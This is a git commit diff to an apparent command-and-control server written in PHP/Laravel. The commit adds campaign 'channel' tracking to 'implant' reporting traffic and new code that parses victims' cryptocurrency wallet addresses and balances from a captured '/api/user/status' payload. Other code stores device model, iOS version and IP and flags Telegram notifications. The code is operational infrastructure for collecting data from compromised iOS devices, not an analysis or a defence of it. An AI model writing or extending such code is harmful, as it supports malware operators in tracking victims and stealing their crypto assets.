This commit is contained in:
hashbro
2026-08-05 05:42:10 +08:00
parent d4fb538997
commit 22942f1a78
19 changed files with 986 additions and 164 deletions
@@ -14,6 +14,7 @@ class DeviceController extends Controller
{
$filters = [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
'ios' => trim((string) $request->query('ios', '')),
@@ -26,6 +27,9 @@ class DeviceController extends Controller
if ($filters['device_key'] !== '') {
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['channel_id'] !== '') {
$q->where('channel_id', 'like', '%'.$filters['channel_id'].'%');
}
if ($filters['model'] !== '') {
$q->where('device_model', 'like', '%'.$filters['model'].'%');
}
@@ -107,7 +107,11 @@ class C2Controller extends Controller
?: $request->input('f');
$device = $this->ingest->upsertDevice(
$request,
array_filter(['d' => $deviceKey]),
array_filter([
'd' => $deviceKey,
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey ? (string) $deviceKey : null
);
+1 -1
View File
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
protected $fillable = [
'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
];
protected function casts(): array
+86 -1
View File
@@ -34,6 +34,40 @@ class IngestService
return null;
}
/**
* Campaign / channel id from reporting traffic.
*
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
* Fallback: `channel` (seen on /link/config/list alongside `c`).
*/
public function extractChannelId(Request $request, ?array $payload): ?string
{
$candidates = [];
if (is_array($payload)) {
if (isset($payload['form']) && is_array($payload['form'])) {
$candidates[] = $payload['form']['c'] ?? null;
$candidates[] = $payload['form']['channel'] ?? null;
}
$candidates[] = $payload['c'] ?? null;
$candidates[] = $payload['channel'] ?? null;
}
$candidates[] = $request->input('c');
$candidates[] = $request->input('channel');
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$value = trim($value);
// HAR / implant: lowercase hex, typically 32 chars
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
return strtolower(substr($value, 0, 64));
}
}
return null;
}
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey ??= $this->extractDeviceKey($payload);
@@ -43,6 +77,7 @@ class IngestService
$deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$channelId = $this->extractChannelId($request, $payload);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first();
@@ -62,6 +97,11 @@ class IngestService
} elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version;
}
if ($channelId !== null) {
$attrs['channel_id'] = $channelId;
} elseif ($existing) {
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
$device = Device::query()->updateOrCreate(
@@ -188,7 +228,10 @@ class IngestService
return;
}
$rows = [];
if (isset($payload['data']) && is_array($payload['data'])) {
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
if (isset($payload['ba']) && is_array($payload['ba'])) {
$rows = $this->normalizeBaAddressRows($payload['ba']);
} elseif (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
@@ -324,6 +367,10 @@ class IngestService
if (is_string($sv) && $sv !== '') {
return $sv;
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
return $info['productVersion'];
}
return null;
}
@@ -353,4 +400,42 @@ class IngestService
return $out;
}
/**
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
*
* @param array<string, mixed> $ba
* @return list<array<string, mixed>>
*/
private function normalizeBaAddressRows(array $ba): array
{
$out = [];
foreach ($ba as $address => $assets) {
if (! is_string($address) || $address === '' || ! is_array($assets)) {
continue;
}
$list = array_values(array_filter($assets, 'is_array'));
if ($list === []) {
continue;
}
$primary = $list[0];
foreach ($list as $asset) {
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
if ($bal !== '' && $bal !== '0') {
$primary = $asset;
break;
}
}
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
$out[] = [
'address' => $address,
'chain' => $chain,
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
'assets' => $list,
];
}
return $out;
}
}